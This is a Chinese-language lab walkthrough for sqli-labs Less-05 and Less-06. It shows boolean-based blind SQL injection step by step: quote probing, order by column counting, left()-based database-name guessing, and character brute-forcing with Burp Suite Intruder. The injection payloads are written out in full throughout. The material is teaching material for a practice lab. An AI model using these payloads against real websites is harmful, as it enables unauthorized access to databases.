sqli-labs-less05和less-06教程
(1)查看是否有注入
?id=1
SELECT * FROM users WHERE id='1' LIMIT 0,1

当随便输入一个ID值时

没有返回任何东西,通过此可以判断此为布尔盲注。
就是当正确时,返回结果;错误的时候,不会返回结果
(2)加上单引号,报错
?id=1'
SELECT * FROM users WHERE id='1'' LIMIT 0,1

错误显示,1的附近多了一个单引号,说明有注入漏洞
(3)使用 order by 语句
发现还是三列
?id=1' order by 3--+


(4)这个时候,并不能直接使用union select 语句,因为此时只要输入正确就会出现此语句,并没显示用户的信息。这里使用left()函数,来探取、判断用户信息。




?id=1' and left((select database()),1)='s'--+

此时返回正常,说明库的第一个字母为s
但是,这样猜解过于麻烦,此时需要使用burp suite爆破,?id=1' and left((select database()),1)='a'--+

然后burpsuite的proxy(代理)抓取到数据包

将抓取的数据包发送给intruder再点击右边侧栏的clear¥清除,选上数据包中的a再点击右侧栏的ADD¥

接着设置payloads,如图选择

接着设置线程为30使得爆破跟快些,如图所示:

(5)最后点击start attack按钮,再点击length,看到s这里的length与其它不一样,可以猜测,s是数据库名的第一个

再验证看看response有you are in...,说明s是对的,数据库的第一个名字s被爆出来了

(6)接着重复以上步骤继续爆
?id=1' and left((select database()),2)='sa'--+



注:第(6)的图只有这里不太一样,其余的重复上诉步骤继续爆,直到爆出它的完整数据库名。
less-06
接着less-06与less-05类似,并无太大差别,最大区别是less-06是"来注入,其余步骤一样。

浙公网安备 33010602011771号